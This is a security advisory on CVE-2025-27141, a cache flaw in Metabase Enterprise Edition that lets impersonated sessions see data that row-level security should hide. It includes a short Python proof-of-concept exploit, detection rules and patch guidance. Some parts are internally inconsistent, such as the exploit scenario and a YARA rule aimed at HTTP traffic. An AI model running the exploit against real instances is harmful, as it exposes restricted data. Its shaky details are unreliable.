CVE-2025-27141

Executive Summary

CVE-2025-27141 is a privilege escalation and information disclosure vulnerability affecting Metabase Enterprise Edition (not the open-source version). The flaw resides in the caching mechanism for database query results. When a user with standard permissions runs a question (query), the results are cached. Subsequently, if a user with impersonation permissions runs the same question, they are served the cached results from the previous user, bypassing row-level security (RLS) and data sandboxing policies. This allows an impersonated user to view data they are not authorized to see.

The vulnerability affects all Metabase Enterprise Edition versions from 1.47.0 up to (but not including) 1.50.36, 1.51.14, 1.52.11, and 1.53.2. The 1.47.x, 1.48.x, and 1.49.x branches are vulnerable and have no patch available, requiring an upgrade to a fixed major version.

Key Risk: An authenticated user with impersonation privileges can exfiltrate sensitive data from cached queries that belong to a higher-privileged user. This is a server-side cache poisoning / cache confusion issue.

Supply Chain & Package Security

This vulnerability is specific to the Metabase Enterprise Edition, which is a commercial product distributed as a compiled JAR or Docker image. It is not an open-source package (NPM, PyPI, Go, Ruby). Therefore, supply chain package security concerns are limited to the integrity of the official Metabase distribution channels. Users should verify checksums and signatures when downloading patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
• Base Score: 5.7 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user with impersonation permissions.
• User Interaction: Required (UI:R) – the impersonated user must run a cached question.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – unauthorized data access.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access with specific permissions, but the impact is high (data leakage). The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis.

Deep Dive & Mechanics

The vulnerability is rooted in how Metabase Enterprise Edition handles query result caching in conjunction with its impersonation feature. Impersonation allows an admin to run a question as if they were another user, typically for debugging or auditing purposes.

Normal Flow:

1. User A (with full data access) runs a question.
2. Metabase executes the query against the database, applies row-level security (RLS) filters based on User A's permissions, and caches the result.
3. User B (with restricted access) runs the same question.
4. Metabase checks the cache. If a valid cache entry exists, it returns the cached result, which should be filtered according to User B's permissions.

Vulnerable Flow:

1. User A runs a question. The result is cached with User A's permissions.
2. An admin (or user with impersonation permissions) impersonates User B and runs the same question.
3. Metabase incorrectly serves the cached result from User A's query, bypassing the impersonation context and User B's RLS filters.
4. The impersonated user (User B) sees data they should not have access to.

Root Cause: The cache key does not include the impersonation context or the effective user permissions. It only considers the question ID and parameters, not the security context of the user executing the query.

Vulnerable vs. Patched Code

The fix involves modifying the cache key generation to include the user's permission context or the impersonation target.

Vulnerable Code (Conceptual):

// Cache key only based on question and parameters
String cacheKey = "query:" + questionId + ":" + parameterHash;

Patched Code (Conceptual):

// Cache key includes the effective user context (impersonation target)
String effectiveUserId = getEffectiveUserId(); // returns impersonated user ID or current user ID
String cacheKey = "query:" + questionId + ":" + parameterHash + ":" + effectiveUserId;

The patch ensures that cached results are segregated by the user who originally ran the query, preventing cross-user cache poisoning.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a Metabase Enterprise Edition instance (version 1.47.0 - 1.53.1).
• An account with impersonation permissions (e.g., admin or a custom group with "Impersonate" privilege).
• A target user (User B) with restricted data access.

Steps:

1. Identify a cached question: As User A (with full access), run a question that returns sensitive data (e.g., SELECT * FROM employees).
2. Impersonate User B: As the admin, use the impersonation feature to run the same question.
3. Observe data leakage: The impersonated session will display the cached results from User A, including data User B should not see.

Proof-of-Concept (Python script using Metabase API):

import requests

BASE_URL = "http://target-metabase:3000"
ADMIN_TOKEN = "your_admin_api_token"
USER_B_ID = 5  # ID of the restricted user
QUESTION_ID = 42

# Step 1: Run question as admin (User A) to populate cache
headers = {"X-Metabase-Session": ADMIN_TOKEN}
response = requests.post(f"{BASE_URL}/api/card/{QUESTION_ID}/query", headers=headers)
print("Admin query executed, cache populated.")

# Step 2: Impersonate User B and run the same question
impersonate_headers = {
    "X-Metabase-Session": ADMIN_TOKEN,
    "X-Metabase-Impersonate": str(USER_B_ID)
}
response = requests.post(f"{BASE_URL}/api/card/{QUESTION_ID}/query", headers=impersonate_headers)
print("Impersonated query result:", response.text)
# The response will contain data from User A's cache, not User B's filtered data.

Blue Team (Defense & Detection)

Detection:

• Monitor for API calls with the X-Metabase-Impersonate header.
• Alert on rapid succession of the same question being run by different users (cache poisoning indicator).
• Enable audit logging in Metabase and review logs for impersonation events.

Lab Setup (Detection Environment):

1. Deploy a vulnerable Metabase Enterprise Edition instance (e.g., version 1.50.0).
2. Configure two users: admin (full access) and restricted_user (limited to a sandbox).
3. Enable query caching.
4. Run the Red Team steps above.
5. Observe the logs and the data returned to the impersonated user.

Indicators of Compromise (IOCs)

• Log Entries: Metabase audit logs showing impersonation events followed by card_query events with the same question ID.
• API Calls: POST requests to /api/card/{id}/query with the X-Metabase-Impersonate header.
• Cache Behavior: Unusual cache hits for questions that should have different results based on user permissions.
• Network Traffic: Outbound data transfers from the Metabase server containing sensitive data not normally accessible to the impersonated user.

Detection Engineering

YARA Rule

rule CVE_2025_27141_Metabase_Cache_Poisoning {
    meta:
        description = "Detects Metabase cache poisoning attempts via impersonation header"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27141"
    strings:
        $impersonate_header = "X-Metabase-Impersonate"
        $cache_key = "query:" ascii wide
        $question_id = "/api/card/" ascii wide
    condition:
        $impersonate_header and $cache_key and $question_id
}

Sigma Rule

title: Metabase Cache Poisoning via Impersonation
id: cve-2025-27141
status: experimental
description: Detects HTTP requests with impersonation header to Metabase API
author: Valters IT
logsource:
    category: webserver
    product: metabase
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/card/'
        http.headers|contains: 'X-Metabase-Impersonate'
    condition: selection
falsepositives:
    - Legitimate admin impersonation for debugging
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-27141 Metabase Cache Poisoning Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/api/card/";
    http_uri;
    content:"X-Metabase-Impersonate";
    http_header_names;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Metabase Enterprise Edition to one of the patched versions:
   • 1.50.36 (if on 1.50.x)
   • 1.51.14 (if on 1.51.x)
   • 1.52.11 (if on 1.52.x)
   • 1.53.2 (if on 1.53.x)
2. If on 1.47.x, 1.48.x, or 1.49.x, upgrade to a supported major version (e.g., 1.50.x or later) as no patch is available for these branches.

Workaround:

• Disable question caching in the Metabase admin settings. This will prevent the cache poisoning attack but may impact performance.

Long-Term Mitigations:

• Implement strict access controls on the impersonation feature. Only grant impersonation permissions to trusted administrators.
• Enable comprehensive audit logging and monitor for suspicious impersonation activity.
• Regularly review and rotate API tokens.
• Consider using a Web Application Firewall (WAF) to block requests with the X-Metabase-Impersonate header from untrusted sources.

Valters IT